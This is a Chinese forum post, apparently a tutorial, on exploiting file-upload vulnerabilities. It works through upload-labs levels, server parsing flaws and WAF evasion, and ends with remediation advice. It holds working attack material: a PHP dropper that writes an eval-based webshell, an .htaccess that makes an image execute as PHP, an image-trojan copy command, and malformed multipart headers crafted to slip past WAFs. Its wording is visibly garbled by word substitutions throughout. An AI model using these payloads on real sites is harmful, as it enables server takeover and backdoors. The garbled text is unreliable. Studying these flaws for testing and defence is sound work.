文件上传漏洞详解

打印 上一主题 下一主题

主题 919|帖子 919|积分 2757

1.文件上传漏洞

1.1.文件上传漏洞界说

  文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件,但是随着web中包含的功能越来越多,潜在的网络安全风险也就越大。
  假如恶意用户上传了可实行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。
1.2.文件上传漏洞原理

  文件上传漏洞是指用户通过界面上的上传功能上传了一个可实行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。
  通过来说文件上传功能是没有问题的,紧张是服务器如何对上传的文件如何进行处理。
  若WEB未对用户上传的文件进行有效的检察,若存在恶意用户对其上传一句话木马,从而实现控制WEB网站的目的。
1.3.文件上传思路

1.3.1.通例类

  扫描获取上传,会员中心头像上传,背景系统上传,其他途径上传。
1.3.2.cms类

  已知道的cms源码。
1.3.3.编辑类

  ckeditor,fckeditor,kindeditor,xxxxeditor。
1.3.4.其他类/CVE

  代码审计,平台或第三方应用。
1.4.web界面存在的风险点

  上传头像、上传身份认证、上传文件以及有存在文件上传的地方就大概存在相关的漏洞,但不是有文件上传就肯定有漏洞,但有文件上传就能进行测试。
1.5.文件上传实战思路

  上传文件和文件实行是两个东西
  漏洞分类:剖析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)
  思路:
  假如有一个网站,要从文件上传的方向开始
  第一步:先看中间件,看是否存在剖析漏洞/CMS/编辑器漏洞/CVE/
  假如有,如何找:
    字典扫描:扫描会员中心,文件上传的位置
  找到后,如何利用:
    验证/绕过
2.文件上传绕太过类

2.1.JS类防护

2.1.1.前端验证

  2.1.1.1.根本概念

  JS防护就是将上传的文件进行一个格式的验证,但是JS类的防护是用户可以控制的,以是前端的全部验证都是不安全的。
  2.1.1.2.upload-labs第一关

  通过禁用界面JS处理,然后上传1.php文件,可绕过前端检测。关于如何禁用界面JS,可以通过安装插件进行一键禁用。在火狐的插件市场搜索javascript switcher。

2.2.黑名单

  黑名单就是服务端明白不让上传的格式后缀,比方:rar、php、zip等。
2.2.1.特殊剖析后缀

  2.2.1.1.根本概念

  特殊剖析后缀绕过是由于黑名单过滤规则不严谨,在某些特定的环境下的后缀也可以大概被看成php文件进行剖析,比方PHP2、php3、php4、phtml、pht等环境。
  可以利用phtml、php3、php4、php5,固然前提是apache服务器,同时在设置文件夹中须要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 如许的一段话前面的表明删除,重启phpstudy让其生效。
  2.2.1.2.upload-labs第三关

  通过源码得知,克制.asp、.aspx、.php、.jsp类型进行上传。
  本关可以通过上传其他文件扩展名进行绕过,实现文件上传。

2.2.2…htaccess剖析

  2.2.2.1.根本概念

  .htaccess文件是Apache服务器中的一个设置文件,它负责相关目录下的网页设置.通过htaccess文件,可以实现:网页301重定向、自界说404页面、改变文件扩展名、答应/阻止特定的用户或者目录的访问、克制目录列表、设置默认文档等功能。
  2.2.2.2.upload-labs第四关

  通过源码得知第三关利用的phtml被限制了,而且设定了更多的特殊剖析后缀,以是利用特殊剖析后缀已经无法绕过了,这里就可以利用到 .htaccess进行绕过测试。
  前提条件:
  1. Apache开启rewrite模块
  2. .apache配置文件为AllowOverride All(默认为None)
  3. .htaccess需要使用notepad++创建,不然创建不了,创建 .htaccess代码:
  4. <FilesMatch "x.png">   
  5. SetHandler application/x-httpd-php
  6. </FilesMatch>
复制代码
  x.png是代码将该目录下文件叫x.png的文件以php进行实行。
  起首上传.htaccess,其次上传一张名叫x.png的文件,即可实行。

2.2.3.大小写绕过

  2.2.3.1.根本概念

  后缀大小写是通过服务端未将后缀进行同一的格式转换,导致可以上传PHP的文件,同时由于Windows系统对后缀大小写并不敏感,以是当在写PHP的改成Php就会被看成PHP进行剖析。
  2.2.3.2.upload-labs第五关

  通过源码得知,并未对其大小进行限制,且是由于是黑名单,只限制了不可以上传的,那么的我们可以对php后缀进行大小写变形,比方:PHP、Php、pHp等。

2.2.4.点绕过

  2.2.4.1.根本概念

  点绕过其实就是利用了Windows对文件和文件名的限制,当将点放在末端的时候,就会触发操作系统的命名规范问题,以是在天生文件的时候,添加在末端的点就会被去除。
  2.2.4.2.upload-labs第七关

  通过源码发现,本关并未对末端点进行检测。那么这里就可以通过在后缀加上点进行绕过,这里我利用的是之前大小写的文件,并未修改名称,以是不要太在意,并不是说利用大小写可以绕过。

  2.2.4.3.upload-labs第九关

  通过源码发现本关之前全部的绕过思路都被过滤了,但是通过源码发现,全部的过滤都是一次的,并未对其进行循环过滤。也就是说源码中提到的删除空格,删除点都是只删除一次,那么可以在数据包中将php后缀添加. .,形成.php. .,由于只验证一次,以是删除一个点和一个空格后就不在删除了。

2.2.5.空格绕过

  2.2.5.1.根本概念

  其实空格绕过和点绕过是一样的,都是利用操作系统的特性来进行剖析绕过。详细可以看点绕过的表明。
  2.2.5.2.upload-labs第六关

  通过源码发现并未对空格进行限制,那么我们可以在后缀添加一个空格进行绕过,但是在Windows系统中我们无法创建后缀带空格的文件,但是在数据包中不会对后缀的空格进行清楚啊,那么我们这里就须要利用到BS进行抓包,对其进行修改,然后再进行上传。
  通过修改后上传到对方服务器的时候,服务器会主动对后面的空格清除,就实现了绕过。

2.2.6.:$DATA绕过

  2.2.6.1.根本概念

  在window的时候假如文件名+:DATA会把:DATA之后的数据当成文件流处理,不会检测后缀名,且保持:DATA之前的文件名,他的目的就是不查抄后缀名
  2.2.6.2.upload-labs第八关

  通过源码发现并未对:DATA进行检测。可以在后面添加:DATA进行绕过。

2.2.7.共同剖析漏洞

  2.2.7.1.根本概念

  共同剖析漏洞就是利用文件上传漏洞和相关的剖析漏洞进行结合完成攻击,好比共同iis、nginx、apache、tomcat的剖析漏洞得到上传漏洞的实现。详细的看下面提到各种相关的剖析漏洞。
2.2.8.双后缀名绕过

  2.2.8.1.根本概念

  服务端大概存在将后缀替换为空的环境,但是这就存在一种大概就是在编辑过滤的时候只过滤了一次,以是就出现了可以通过双写就绕过的大概。
  2.2.8.2.upload-labs第十关

  通过源码发现,若上传的文件后缀在克制的列中,那么就将后缀替换为空,而这里又是只过滤一次,那么就可以通过双写进行绕过。
这里由于过滤就是从左到右进行匹配,不要问为什么不从右向左匹配。
  比方:pphphp

2.3.白名单

  白名单就是服务端明白可以上传的格式后缀,比方:jpg、png、jpeg等。
2.3.1.MIME绕过

  2.3.1.1.根本概念

  服务端MIME类型检测是通过查抄http中包含的Content-Type字段中的值来判定上传文件是否正当的。
  利用Burp抓包,将报文中的Content-Type改成答应的类型
  Content-Type: image/gif(gif图像)
  Content-Type: image/jpg(jpg图像)
  Content-Type: image/png(png图像)
  2.3.1.2.upload-labs第二关

  通过源码中第五段分析得出本关采用了content-type进行后端验证,那么通过利用BS抓包对其进行修改content-type,然后再进行上传。

2.3.2.%00截断

  2.3.2.1.根本概念

  %00不是代表空格,而是null,一个空字符,当程序实行到%00后,那么后面的数据就会克制,意思就是误看成结束符,把后面的数据直接忽略了,这就会导致漏洞产生。
  在文件上传后,利用%00截断,在文件扩展名验证的时候,就会取文件的扩展名进行验证,但是在最后生存在本地的时候,%00就会截断文件名,只生存%00之前的内容。
  %00只能用于php版本低于5.3的。这里我们须要把phpstudy切换一下版本,把magic_quotes_gpc关闭,以phpstudy为例。其他选项菜单—php扩展及设置—参数开关设置—把magic_quotes_gpc关闭。
  2.3.2.2.upload-labs第十一关

  通过源码发现本关是个白名单,但是可以利用%00对路径进行截断。

  2.3.2.3.upload-labs第十二关

  本关接受值从get变成了post,它两的区别就是get会自行解码,而post不会解码,以是须要对%00进行解码。
  在BS抓包中选中%00右键选择URL其次选择网址解码。

2.4.内容及其他

2.4.1.文件头检测

  2.4.1.1.根本概念

  图片的格式在防护中通常是不会利用后缀进行判定的依据,文件头是文件开头的一段二进制码,不同类型的图片也就会有不同的二进制头。
  JPEG (jpg),文件头:FF D8 FF E1
  PNG (png),文件头:89 50 4E 47
  GIF (gif),文件头:47 49 46 38

  2.4.1.2.upload-labs第十三关

  制作图片马,可以利用Notepad直接打开图片在后面添加一个PHP代码,不外大概会堕落。其次就是利用copy X.png /b + 1.php /a x.png 。
  制作好的图片马想要剖析出来这个图片,还得有这个包含漏洞。我们看到,他已经说了,网站存在包含漏洞

  上传图片马,并查找路径。

  构造的URL:http://192.168.10.150/upload-labs/include.php?file=upload/2120221024150121.png

2.4.2.二次渲染

  2.4.2.1.根本概念

   二次渲染就是在我们上传的图片后,网站会对图片进行二次处理,好比对图片的尺寸、格式、以及网站对图片进行界说的一些要求等进行处理,而且服务器会对内里的内容进行二次替换更新,在处理完后,会天生一个合规的图片在网站上显示出来。
  2.4.2.2.upload-labs第十六关

  这里其实同样也可以利用图片马也就是jpg等格式,但是利用gif图片更好。
  利用抓包软件进行拦截,方面检察上传后的文件名称。
  从网上找的gif图片马:图片马 提取码:1b8h


  构建的URL:http://192.168.10.150/upload-labs/include.php?file=/upload/18556.gif

2.4.3.条件竞争

  2.4.3.1.根本概念

  条件竞争就是在源代码中是存在校验的,但是校验是在文件上传后,才开始校验,也就是文件先上传至服务器中,然后服务器会对该文件进行校验,当符合的时候则会对文件进行重命名,当文件不符合要求的时候就对将文件进行删除。
  而我们则须要在服务器对文件删除前进行访问,由于文件在访问过程中,服务器是无法删除的,以是就可以利用这个节点实现条件竞争。
2.4.4.突破gatimagesize

  2.4.4.1.根本概念

getimagesize函数是用于获取图像大小及相关信息,成功返回一个数组,失败则返回false产生一条e_warning级的错误信息。
通过对图片及代码进行合成图片马,这个时候getimagesize函数既可以获取图片信息,文件后缀php也可以大概被剖析成脚本文件,从而绕过getimagesize函数的限制。
  2.4.4.2.upload-labs第十四关

  本关存有getimagesize函数,这个函数的意思是:会对目的文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。
  利用办法和第十三关是一样的,前提都是须要存在相关的漏洞。

2.4.5.突破exif_imagetype

  2.4.5.1.根本概念

  服务器exit_imagetype()函数检测上传图片类型是否为白名单图片格式来验证上传文件正当性。可以通过制作图片马绕过,再共同文件包含漏洞剖析文件来获取服务器设置信息。
  2.4.5.2.upload-labs第十五关

  上传一张图片马,然后利用br抓包软件对其进行抓包,检察上传后的文件名称。

  URL:http://192.168.10.150/upload-labs/include.php?file=/upload/4920221126063306.png

3.剖析漏洞

3.1.剖析漏洞表明

  剖析漏洞就是指服务器应用程序在剖析某些精心构造的后缀文件的时候,会将相关的文件剖析成网页的脚本,从而导致实现控制网站,同时大部门的剖析漏洞都是由应用程序产生的。
3.2.IIS剖析漏洞

3.2.1.IIS5.0/6.0

  3.2.1.1.目录剖析

  在以. asp文件名的文件夹下的任何文件都将作为asp文件实行。
  也就是当目录为XX.asp的时候,那么当访问下面的图片的时候,如XX.aps/1.jpg就会被看成ASP实行。
  3.2.1.2.文件剖析

  假如文件为1.asp;.jpg,由于IIS不剖析;后面的内容,利用就会把文件看成1.asp进行剖析,同时还存在.asa、.cer、.cdx可以进行剖析。
  3.2.1.3.修复建议

  1)限制上传目录的实行权限,不答应实行脚本。
  2)不答应创建目录。
  3)上传的文件进行重命名。
3.2.2.IIS7.0/IIS7.5

  3.2.2.1.IIS7.0/IIS7.5Fast-CGI

  在Fast-CGI开启的状态下,在雷同1.jpg后面加上/1.php,变成/1.jpg/1.php路径会剖析成PHP文件。须要进入php.ini内里修改cig.cgi_ pathinfo=1。
  将1.txt文本文件中的后门代码写入到1.jpg图片的二进制代码:
copy 1.jpg/b + 1.txt/a 1.jpg
  1.txt的文件内容为:
  1. <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[password])?>');?>
复制代码
  当在图片文件中写入后门代码,当访问这个图片的时候加上/.php的时候就会在当前目录下天生一句话木马shell.php。
  3.2.2.2.修复建议

  设置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序

3.3.apache剖析漏洞

3.3.1.apache剖析漏洞

  在apache1.x和apache2.x中存在剖析漏洞。
  当一个文件为1.php.yy.xx的时候就会被看成php实行,这是由于在apache剖析文件的时候有一个原则就是,以.后面的扩展名来剖析,当遇见不认识的扩展名的时候,就会向前剖析,直到遇到可以大概剖析的后缀名为止。
  如:1.php.yy.xx,起首会剖析xx,xx无法剖析就会去剖析yy,yy无法剖析就会去剖析php,那么php是可以大概剖析了,那么就会结束。
  这种方式多用于绕过黑名单的查抄。
3.3.2.修复建议

  1)更新至最新版本。
  2)将上传的文件进行重命名。
3.4.nginx剖析漏洞

3.4.1.nginx<8.03

  3.4.1.1.nginx设置文件错误

  由于nginx默认是用cgi剖析php的,因此和iis一样可以制作图片马进行上传。
  当在图片文件中写入后门代码,当访问这个图片的时候加上/.php的时候就会在当前目录下天生一句话木马shell.php。
  3.4.1.2.修复建议

  1)设置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序

  2)或假如须要利用到cgi.fix_pathinfo这个特性(比方:Wordpress),那么可以克制上传目录的实行脚本权限。 或将上传存储的内容与网站分离,即站库分离。
  3)或高版本PHP提供了security.limit_extensions这个设置参数,设置security.limit_extensions = .php
3.4.2.nginx 0.5/0.6/0.7<=0.7.65/0.8<=0.8.37

  3.4.2.1.nginx空字节恣意代码实行

  当利用PHP-FastCGI实行PHP时,遇到url内里存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来实行此中的PHP代码。
  好比上传一张图片马1.jpg,那么当访问这个图片马的时在1.jpg后面添加%00.php就会将图片马以php实行。
  3.4.2.2.修复建议

  1)升级nginx版本。
4.编辑器漏洞

4.1.介绍

  编辑器也就是在线的web编辑器,好比在搭建博客后须要发布文章,那么用来发布文章的界面就是web编辑器。固然web编辑器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。
4.2.编辑器漏洞

  关于编辑器漏洞这一块,原来想总结的但是,内容比力多,而且很多系统下载资源找不到,给一个链接吧。
  链接1
  链接2
5.WAF绕过

5.1.WAF绕过表明

  waf绕过其实就是将数据包截获到,对内里的内容进行剖析,好比对文件的后缀名就判定是否在相应的黑名单中,文件内容中是否存在webshell代码。
  总的来说文件上传都是在数据包中进行各种操作来进行绕过。
5.2.上传参数名剖析

  Content-Disposition :一样平常可更改
  name:表单参数值,不能更改
  filename:文件名,可以更改
  Content-Type:文件MIME,视环境更改

5.3.绕过方式

5.3.1.数据溢出

  5.3.1.1.form-data与name之间

  在form-data;与name=“upload_file”; filename=“2.php"之间添加大量的垃圾数据,可以边添加边测试直到上传上去,紧张添加的垃圾数据须要在后面添加一个”;"进行末端。
  比方:
  1. form-data;sadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasA; name="upload_file"; filename="2.php"
复制代码

  5.3.1.2.name与filename之间

  固然这里不但单可以插入在form-data;与name=“upload_file”; filename="2.php"之间,也可以在name=“upload_file”; 与filename="2.php"之间。但是数据不能乱插入,好比你插在2.php中,那肯定不行,一样平常环境下,文件名称长度都大概存在限制,而且太长也上传不上去。
  比方:
  1. Content-Disposition: form-data; name="upload_file"; sadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasA; filename="2.php"
复制代码
5.3.2.符号变异

  5.3.2.1.filename符号变异

  符号变异也就是将单双引号变更利用,或者单双引号缺失一部门进行利用,或者倒霉用单双引号来进行绕过。现在测试好像是无法通过了。
  1. Content-Disposition: form-data; name="upload_file"; filename="2.php
  2. Content-Disposition: form-data; name="upload_file"; filename='2.php
  3. Content-Disposition: form-data; name="upload_file"; filename=2.php
复制代码

  5.3.2.2.form-data符号变异

  1. Content-Disposition:"form-data"; name=upload_file; filename="2.php"
  2. Content-Disposition:'form-data'; name="upload_file"; filename='2.php'
复制代码
5.3.3.数据截断

  5.3.3.1.回车换行

  通过换行来实现绕过,但是中间不能有空行。

  比方:
  1. Content-Disposition: form-data; name="upload_file"; filename="2.
  2. p
  3. h
  4. p"
复制代码
  5.3.3.2.分号截断

  若WAF匹配文件名到分号截止,则可以绕过。

5.3.4.字段名变更

  5.3.4.1.大小写变更

  对这三个字段进行大小写进行变更,好比将name换成Name、Content-Disposition换成content-disposition等等。
  5.3.4.2.顺序颠倒

  针对name和filename这两个字段,我们可以实验互换name和filename的顺序。(由于有规定Content-Dispositon必须在前面,因此我们不能修改该字段的内容)
5.3.5.重复数据

  通过设置多个参数进行匹配,避免被匹配到。
  1. Content-Disposition: form-data; name="upload_file";filename="2.jpg";filename="2.jpg";filename="2.jpg";filename="2.jpg";......filename="2.php";
复制代码
5.4.绕过参考链接

  这里也是找到一个比力全的WAF绕过的参考链接。
  最全的文件上传漏洞之WAF拦截绕过总结
6.安全修复

6.1.文件上传修复

  后端验证:针对后端验证的可以采用通过服务器进行验证。
  后缀检测:利用黑白名单进行过滤,固然最好是利用白名单,黑名单有时候总归会存在一些未想到的后缀,而白名单就相对简单一点,只须要想放通哪些后缀即可,而且防范更好一些。
  上传目录:对上传文件到的目录可以设置一个不可实行的权限。
  文件名:针对文件名可以自界说一些随机数以及一些其他的内容进行二次修改,从而改变文件的名称。
  内容检测:可以利用文件头,完整性检测,最好可以大概对内容的数据进行判定是否存在一些webxshll雷同的代码,若出现这类代码,直接删除。
  固然防范本领还有很多,有攻有防。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

尚未崩坏

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表